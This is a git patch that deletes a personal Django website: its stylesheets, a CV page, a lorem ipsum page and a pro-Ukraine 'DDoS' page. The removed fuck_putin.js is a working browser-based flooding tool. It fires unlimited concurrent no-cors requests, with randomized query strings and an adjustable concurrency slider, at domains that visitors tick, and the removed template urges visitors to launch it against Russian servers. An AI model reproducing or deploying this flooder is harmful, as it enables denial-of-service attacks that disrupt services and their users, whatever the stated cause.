From cd7691df9ec9fc636fe0cbe61e2c024a8c271db2 Mon Sep 17 00:00:00 2001 From: De Lette Date: Mon, 24 Oct 2022 21:34:08 +0000 Subject: [PATCH] Delete all. To create new stuff, you must first let old stuff go. --- base_app/static/base_app/css/master.css | 155 ---------------------- base_app/static/base_app/css/ukraine.css | 20 --- base_app/static/base_app/js/fuck_putin.js | 89 ------------- base_app/static/base_app/js/master.js | 31 ----- base_app/templates/cv.html | 104 --------------- base_app/templates/index.html | 51 +------ base_app/templates/layout.html | 44 +----- base_app/templates/lorem.html | 38 ------ base_app/templates/ukraine.html | 77 ----------- base_app/views.py | 27 ---- 10 files changed, 3 insertions(+), 633 deletions(-) delete mode 100644 base_app/static/base_app/css/master.css delete mode 100644 base_app/static/base_app/css/ukraine.css delete mode 100644 base_app/static/base_app/js/fuck_putin.js delete mode 100644 base_app/static/base_app/js/master.js delete mode 100644 base_app/templates/cv.html delete mode 100644 base_app/templates/lorem.html delete mode 100644 base_app/templates/ukraine.html diff --git a/base_app/static/base_app/css/master.css b/base_app/static/base_app/css/master.css deleted file mode 100644 index 533788f..0000000 --- a/base_app/static/base_app/css/master.css +++ /dev/null @@ -1,155 +0,0 @@ -body { - color: #377ba8; - background: #252525; - font-size: 62.5%; - color: white; -} - -h1, h2 { - margin: 0; - text-shadow: -2px -2px 0 #000, 2px -2px 0 #000, - -2px 2px 0 #000, 2px 2px 0 #000; -} - -h1 { - color: white; - font-size: 4rem; - border-bottom: 2px solid #eee; - padding-bottom: 0.7%; - margin-bottom: 2.5%; - margin-top: 1%; -} - -h2 { - margin-top: 6%; - font-size: 3rem; - line-height: 2.9rem; -} - -a { - color: #377ba8; -} - -p { - padding-right: 33%; - font-size: 0.95rem; -} -h3 { - font-size: 1.7rem; - margin-bottom: 2%; -} - -ul { - font-size: 1.05rem; -} - -h4 { - font-size: 1.05rem; -} - -.ftr { - width: 90%; - margin-left: 5%; - display: flex; - justify-content: space-evenly; - align-items: center; - flex-flow: row wrap; -} - -.ftrh { - font-size: 1.7rem; - margin-bottom: 0; -} - -.key { - display: flex; - justify-content: center; - text-align: center; -} - -.page { - margin: 2% auto; - width: 66.666%; - border: 5px solid #ccc; - padding: 0.8%; - padding: 0.8%; - background: #333; -} - -.navbar { - margin-left: -20.5%; - margin-top: 15%; - width: 21%; - border: 5px solid #ccc; - background: #333; - float: left; - position: fixed; - transition: margin-left 0.2s; -} - -.navbar-active { - margin-left: 0%; - margin-top: 15%; - width: 21%; - border: 5px solid #ccc; - background: #333; - float: left; - position: fixed; - transition: margin-left 0.2s; -} - - -.navbar-block { - font-size: 1.13rem; - width: 95%; - padding-top: 5%; - padding-bottom: 5%; - margin-left: 2.5%; - margin-top: 3%; - margin-bottom: 3%; - float: left; - color: white; - background: #454545; -} - -.navbar-button { - margin-left: 20%; - margin-top: 5.5%; - border: 5px solid #ccc; - border-radius: 40px; - background: #333; - float: left; - position: fixed; - transition: margin-left 0.2s; - font-size: 1.8rem; - padding: 1%; - padding-top: 0.6%; - padding-bottom: 0.6%; - cursor: pointer; -} - -@media only screen and (max-width: 604px) { - h1 { - font-size: 2rem; - } - h2 { - font-size: 1.8rem; - } - .navbar { - width: 80%; - margin-left: -80%; - } - .navbar-active { - width: 80%; - margin-left: 30%: - } - - .navbar-button { - margin-left: 78%; - margin-top: 22%; - } - p { - padding-right: 8%; - } - -} diff --git a/base_app/static/base_app/css/ukraine.css b/base_app/static/base_app/css/ukraine.css deleted file mode 100644 index e828d65..0000000 --- a/base_app/static/base_app/css/ukraine.css +++ /dev/null @@ -1,20 +0,0 @@ -.domain-wrapper { - display: flex; - flex-flow: row wrap; - justify-content: space-between; - width: 95%; - font-size: 11pt; -} - -.domain-segment-checkbox { - width: 5%; -} -.domain-segment-domain { - width: 45%; -} -.domain-segment-req { - width: 25%; -} -.domain-segment-err { - width: 25%; -} diff --git a/base_app/static/base_app/js/fuck_putin.js b/base_app/static/base_app/js/fuck_putin.js deleted file mode 100644 index 9b59621..0000000 --- a/base_app/static/base_app/js/fuck_putin.js +++ /dev/null @@ -1,89 +0,0 @@ - -var CONCURRENCY_LIMIT = 50; -var queue = []; -var stop = false - -function req_update() { - slider = document.querySelector("#requests"); - infobox = document.querySelector("#amount"); - CONCURRENCY_LIMIT = slider.value; - infobox.innerHTML = slider.value; -} - -async function fetchWithTimeout(resource, options) { - const controller = new AbortController(); - const id = setTimeout(() => controller.abort(), options.timeout); - - return fetch(resource, { - method: 'GET', - mode: 'no-cors', - signal: controller.signal - }).then((response) => { - clearTimeout(id); - return response; - }).catch((error) => { - clearTimeout(id); - throw error; - }); -} - -async function flood() { - - // Collect selected domains - let targets = []; - let stat = document.querySelector("#status") - let domains = document.querySelectorAll(".domain-wrapper"); - domains.forEach((domain) => { - if (domain.children[0].children[0].checked) { - domain.errors = 0; - domain.requests = 0; - targets.push(domain); - } - }); - - stat.innerHTML = "Status: on" - - for (var i = 0; ; ++i) { - randarg = i % 3 === 0 ? '' : ('?' + Math.random() * 1000); - rand = Math.floor(Math.random() * targets.length) % targets.length; - target = targets[rand]; - queue.push( - fetchWithTimeout(target.children[1].innerHTML.trim() + randarg, {"timeout": 1000} - ).catch((error) => { - if (error.code === 20 /* ABORT */) { - return; - } - target.errors++; - } - ).then((response) => { - if (response && !response.ok) { - target.errors++; - } - target.requests++; - } - ) - ); - - if (queue.length >= CONCURRENCY_LIMIT) { - await queue.shift(); - } - if (stop) { - queue = []; - stat.innerHTML = "Status: off" - stop = false - return - } - } -} - -function printStats() { - domains = document.querySelectorAll(".domain-wrapper"); - domains.forEach((domain) => { - domain.children[2].innerHTML = `requests: ${domain.requests}`; - domain.children[3].innerHTML = `errors: ${domain.errors}`; - - }); - -} - -setInterval(printStats, 1000); diff --git a/base_app/static/base_app/js/master.js b/base_app/static/base_app/js/master.js deleted file mode 100644 index dd4722f..0000000 --- a/base_app/static/base_app/js/master.js +++ /dev/null @@ -1,31 +0,0 @@ -function init() { - let nav; - nav = document.getElementById("nav"); - nav.state = new Object(); - nav.state.open = false; -} - -function navbar_click() { - let nav; - let navButton; - - nav = document.getElementById("nav"); - check = nav.hasOwnProperty("state") - if (!check) { - return; - } - - if (!nav.state.open) { - nav.classList.add("navbar-active"); - nav.classList.remove("navbar"); - // TODO: This breaks with every new page added - nav.children[4].innerHTML = "<" - nav.state.open = true; - } - else { - nav.classList.remove("navbar-active"); - nav.classList.add("navbar"); - nav.children[4].innerHTML = ">" - nav.state.open = false; - } -} diff --git a/base_app/templates/cv.html b/base_app/templates/cv.html deleted file mode 100644 index 633ad13..0000000 --- a/base_app/templates/cv.html +++ /dev/null @@ -1,104 +0,0 @@ -{% extends "layout.html" %} -{% load static %} - -{% block content %} -
-

Marcel Plch

-

-

Work Experience

-

Comprimato Systems Ltd.

- -

My first job during summer before I went to third grade of high school. Here, I have learned most of my C++ skills. I was working on multimedia codec live transcoder, where my most important role was to wrap a C library x264 into a C++ project. Aside from this, I was given small side-tasks like tweaking logger or fixing a small bug.

-

Red Hat Czech s.r.o.

- -

Internship

-

Most of my experience overall comes from this employment. I started here as an intern in the Python maintenance team, where I made connections during previous year by working on open-source projects (PEP 547 and a semestral work in cooperation with Red Hat).

-

During my internship, I was working on patches for the cpython interpreter. This included bugfixes and working on Python enhancement proposals (later on as PEPs). Both PEPs I have worked on are linked below.

-

First PEP I was working on is supposed to allow running C modules the same way one can run a common .py file. This PEP had to be deferred until the internal mechanics are prepared for this.

-

The second PEP is also about C modules, here the goal was to allow the extension modules to implement classes the same way they work in Python. Before this PEP, C-implemented Python classes had no access to global module memory. This often caused hackish approach that usually resulted in memory leaks.

-

Employment

-

A year into my internship, I was hired as a RHEL/Fedora packager at the same team. My responsibilities included RPM packaging, bugfixing, software maintenance, rebuilding new versions and making sure nothing is broken.

-

Bugfixing was probably the most common responsibility. Aside from this, I was working on fixing CVEs (security vulnerabilities), submitting updates to the distribution, tweaking software to be FIPS-compliant and if there was enough time, I continued my work on my PEPs.

-

Comprimato Systems Ltd.

- -

This company grew since the time I last worked here, I was hired as a Developer in QA, my responsibility was to work on QA tools for the main product of the company. The expectations from each side didn’t quite meet, so it didn’t take long before this cooperation got terminated.

-
- -
-

Education

- -

Conference Attendance

- -

Skills

-

Programming

-

Designing algorithms and solutions to logical problems is a very fundamental concept in solving any problem in (not just) software. It’s programmer’s responsibility to design a sturdy and reliable code, as even the most careful user may get compromised, if the development process is underestimated.

-

Languages I know:

- - -
-
-

Project maintenance

-

Most of my work experience comes from Red Hat, which is a company selling support for their enterprise solutions. Selling support means a great effort being put into maintenance of the products.

-

I have worked at the Python maintenance team, which means I know the internals of the cpython interpreter and I am able to quickly learn a new library or Python project.

-

Operating Systems

-

As a huge enthusiast into open software, free operating systems are of great importance to me. Considering knowledge about internals of how computers work an important subject, I have learned many useful skills like system administrations, setting up permissions securely, working with sensitive data, setting a server up for a specific purpose etc.

-

Computer Networks

-

One computer may never solve a problem efficiently. Thus it is crucial to know how to make them communicate. By working with git, secure communication channels, webservers, multimedia codecs, etc., I have learned much useful information from practice (opening up sockets, securing them, selecting correct protocol…) on top of theoretical knowledge being taught at schools like IPv4 and basics of IPv6, TCP/IP, etc.

-

Public Speaking

-

One of my favorite semi-IT tasks is giving talks about topics I find useful or interesting. I often gave talks at some conferences and local Python meetups. I attended some Toastmasters sessions, so I could get better at public speaking. Unfortunately, before I could utilize these new skills, the COVID crisis terminated my public speaking for a while.

-

Interests

- -

Contact

- - - -
-{% endblock %} diff --git a/base_app/templates/index.html b/base_app/templates/index.html index a43e833..4671084 100644 --- a/base_app/templates/index.html +++ b/base_app/templates/index.html @@ -5,56 +5,7 @@

Homepage

-

Welcome to my website

-

Marcel Plch

-

- I am an open-source enthusiast and love teaching people important stuff - about technology. Currently, I'm trying to start up a small business - based on web development and software support. There should be a - section about this somewhere around here soon™! - -

- -

Open Source

-

- I contribute to a few projects. -

- -

- You can check out most of my contributions on my GitHub -

-

Cryptography

-

- Cryptography is what keeps all of our data secure. My solutions don't - take security lightly. In any way you ever communicate with me, there - either already is some kind of cryptography invloved, or you can - request to validate my message using GPG. Never trust any - message from me that looks important, if it's not cryptographically - easy to verify. -

-

Ethical software

-

- Ethical software are programs that are written and deployed in such a way - that they have no way of containing any malicious code. All of the software - I recomment and/or provide here on my website are open-source programs. -

-

- Open-source - is the first fundamental stone of ethical software, it makes the source code - available to all programmers around the world so they can download, modify, redistribute - and check what the software is doing. -

-

- There are more ways to ensure that your software is ethical and even - proprietary software may be ethical. Read some of my - articles on my website (to be added) to learn what ethical software is. -

-

+

UNDER MAINTENANCE

{% endblock %} diff --git a/base_app/templates/layout.html b/base_app/templates/layout.html index 2282f15..9c6e20c 100644 --- a/base_app/templates/layout.html +++ b/base_app/templates/layout.html @@ -18,39 +18,7 @@ {% endblock %} - - {# NAVBAR #} - + {# CONTENT #} {% block content %} @@ -60,13 +28,7 @@ - - diff --git a/base_app/templates/lorem.html b/base_app/templates/lorem.html deleted file mode 100644 index 33aa0fa..0000000 --- a/base_app/templates/lorem.html +++ /dev/null @@ -1,38 +0,0 @@ -{% extends "layout.html" %} - -{% block content %} -
-

Lorem Ipsum

-

- -"Neque porro quisquam est qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit..." - -

-

- -"There is no one who loves pain itself, who seeks after it and wants to have it, simply because it is pain..." - -

- -

-Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque a dolor metus. In dapibus pulvinar tortor in sagittis. Nulla vulputate sapien diam, ut faucibus diam ullamcorper quis. Quisque sed suscipit enim, in ultrices erat. Morbi non suscipit erat, et porttitor diam. Mauris tellus sem, interdum vel odio non, fermentum placerat ligula. Integer sagittis, nulla vel dapibus ullamcorper, massa dui varius ante, id ultrices dui est at purus. Integer vehicula risus eget ex lobortis pulvinar. Mauris hendrerit nec nunc id ultricies. Vestibulum vulputate mi in magna sagittis, in elementum justo varius. In cursus sapien venenatis interdum suscipit. Nam ac pretium odio. Donec tempus velit ac enim ultricies, a tincidunt velit iaculis. Proin vel erat dignissim, feugiat odio quis, scelerisque ipsum. -

- -

-Nullam orci sem, condimentum eget diam nec, dapibus tempus justo. Ut porta ex non pulvinar vestibulum. In a ligula condimentum, pharetra metus sed, bibendum dolor. In ornare tellus nec tellus mollis, quis ultrices leo volutpat. Aenean posuere, massa ac tempus varius, ligula sem rhoncus quam, ac lacinia eros lectus varius felis. Nunc dignissim eros porta, maximus augue ac, interdum ipsum. Fusce porta enim vel placerat eleifend. Phasellus id dignissim diam, id venenatis nunc. Etiam pretium dolor ac mi condimentum, ut eleifend neque dapibus. Aenean sit amet ipsum condimentum, volutpat lectus quis, ornare tortor. Donec blandit erat eget egestas sodales. Donec interdum tortor accumsan faucibus porta. Nam placerat facilisis faucibus. Orci varius natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. In eu lacus eleifend, condimentum dui quis, vehicula metus. -

- -

-Nunc in ante nisi. Sed pharetra volutpat velit, non accumsan purus. Curabitur sit amet dignissim lacus, sed commodo nisi. Integer sit amet cursus quam. Aliquam congue, ipsum at sagittis vehicula, odio dolor ultrices augue, eu ultricies libero erat fermentum justo. Suspendisse potenti. Fusce semper eget elit accumsan interdum. Sed sed mi sed risus aliquam hendrerit id sodales magna. Aliquam tristique dictum condimentum. In ipsum enim, vestibulum a justo sed, tincidunt iaculis nisl. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Sed lobortis, orci sed auctor bibendum, felis mi varius libero, quis venenatis augue ante nec magna. Pellentesque placerat nunc sed tortor posuere, ut dignissim ante rhoncus. In feugiat, magna non bibendum bibendum, ipsum odio ultricies arcu, id posuere nisi sem sed nisl. Interdum et malesuada fames ac ante ipsum primis in faucibus. Praesent maximus, urna sed dictum imperdiet, purus leo tincidunt dui, eu dignissim arcu urna in nibh. -

- -

-Cras eget molestie enim, eget ultrices nisi. Duis vitae feugiat nibh. Suspendisse nisi ex, condimentum nec venenatis vel, gravida sit amet est. Duis accumsan a est ac ornare. Nam ut ullamcorper ipsum, ac semper mi. Nullam lacinia nisi non pellentesque porta. Vivamus feugiat molestie dapibus. Maecenas mattis sem quis viverra blandit. Maecenas tristique auctor urna. In venenatis libero et tortor sodales, eu lobortis lacus mattis. Curabitur eget efficitur ex, vitae gravida neque. Nulla sed mollis dolor. -

- -

-Donec vulputate, erat sed venenatis lacinia, orci diam porttitor dolor, in vehicula sem ex vel turpis. Sed vitae arcu eu ipsum viverra scelerisque. Donec erat massa, laoreet auctor ipsum ut, fringilla vulputate erat. Praesent non lacus quis odio dignissim imperdiet id eu turpis. Nulla vel ornare ligula. Quisque interdum tempor odio ut vestibulum. Phasellus ante elit, ultrices nec augue quis, faucibus fermentum erat. Ut in mauris vel dui sodales porta. -

-
-{% endblock %} - diff --git a/base_app/templates/ukraine.html b/base_app/templates/ukraine.html deleted file mode 100644 index 401f965..0000000 --- a/base_app/templates/ukraine.html +++ /dev/null @@ -1,77 +0,0 @@ -{% extends "layout.html" %} -{% load static %} - -{% block headerExtension %} - -{% endblock %} - -{% block content %} -
- -

Glory to Ukraine! - -

- -

Glory to heroes!

- -

Say no to propaganda

-

- This website is inspired by vug.pl (Careful, - this will immediately launch a DoS attack against russian servers.) -

-

- Please bookmark that website as well, any page like this is at risk of - being taken down. If you wish to contact me about this effort, please do so - by encrypted means. I will send tutorials and help explain how to, if you do not - posses such skills. -

-

- Thank you for your help. -

- -

What can I do?

-

- Below, you can see a list of domains and a start button. If you click - the start button, you launch a - DDoS attack (Wikipedia) - against russian servers and disinformation websites - directly connected to, or exclusively sourcing, russian propaganda. -

-

- If you believe some website is missing or shouldn't be here, please - contact me using the information in the footer. -

- - - -

Status: off

-

Max requests (more is better, pull down if browser is unusable):

-
- -
-

50

-

Un/selecting a domain requres restart.

- {% for domain in domains %} -
-
- -
-
- {{ domain }} -
-
- requests: 0 -
-
- errors: 0 -
-
- {% endfor %} - -
- - -{% endblock %} - diff --git a/base_app/views.py b/base_app/views.py index b3c21ba..e05dcbb 100644 --- a/base_app/views.py +++ b/base_app/views.py @@ -3,17 +3,7 @@ from django.shortcuts import render from django.shortcuts import render, redirect from django.views.generic import TemplateView, FormView -import json - # Helper functions -def get_domains(): - domains = None - with open("data/domains.json", "r") as f: - data = f.read() - domains = json.loads(data) - - return domains - # Create your views here. class IndexView(TemplateView): @@ -21,20 +11,3 @@ class IndexView(TemplateView): def get(self, request, *args, **kwargs): return render(request, "index.html", {}) -class CVView(TemplateView): - - def get(self, request, *args, **kwargs): - return render(request, "cv.html", {}) - -class LoremView(TemplateView): - - def get(self, request, *args, **kwargs): - return render(request, "lorem.html", {}) - -class UkraineView(TemplateView): - - def get(self, request, *args, **kwargs): - domains = get_domains() - return render(request, "ukraine.html", {"domains" : domains}) - -